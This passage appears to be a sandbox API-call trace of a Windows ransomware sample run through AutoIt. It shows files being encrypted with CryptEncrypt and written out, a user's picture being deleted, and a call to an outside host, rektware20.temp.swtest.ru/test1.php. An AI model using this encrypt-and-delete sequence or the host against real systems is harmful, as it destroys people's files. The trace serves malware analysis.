lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.757] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.757] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xfa0f, dwBufLen=0xfa10 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xfa10) returned 1 [0062.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.757] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.757] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.757] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.757] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.757] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.757] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.758] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.762] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.762] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.762] WriteFile (in: hFile=0x2ac, lpBuffer=0x181eda0*, nNumberOfBytesToWrite=0xfa10, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x181eda0*, lpNumberOfBytesWritten=0x130f01c*=0xfa10, lpOverlapped=0x0) returned 1 [0062.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.764] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.764] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.764] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.764] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.765] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.765] CryptDestroyKey (hKey=0x164c8b0) returned 1 [0062.765] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.765] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.765] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.765] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.765] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.765] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.765] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.766] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.766] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.766] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.766] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.766] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.767] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.767] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.767] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.767] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.767] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.767] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.767] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.767] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.767] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.767] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.767] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.767] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.767] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.767] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.768] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.768] CryptReleaseContext (hProv=0x17aa2b8, dwFlags=0x0) returned 1 [0062.768] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.768] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.768] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.768] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.768] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.768] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.768] CloseHandle (hObject=0x3bc) returned 1 [0062.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.770] CloseHandle (hObject=0x2ac) returned 1 [0062.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.775] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.775] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", lpFilePart=0x0) returned 0x47 [0062.775] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\sbj3cradn.jpg")) returned 0x20 [0062.776] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7f0 [0062.776] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\sbj3cradn.jpg")) returned 1 [0062.778] FindNextFileW (in: hFindFile=0x164c7f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.778] FindClose (in: hFindFile=0x164c7f0 | out: hFindFile=0x164c7f0) returned 1 [0062.779] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.779] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.779] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.779] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.779] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0062.779] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.779] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.779] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.779] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.779] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.779] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.779] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c) returned 1 [0062.779] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.779] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.780] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.781] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.781] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.781] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.781] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.781] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.781] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.781] CloseHandle (hObject=0x0) returned 0 [0062.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ntspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tspZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pZkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] 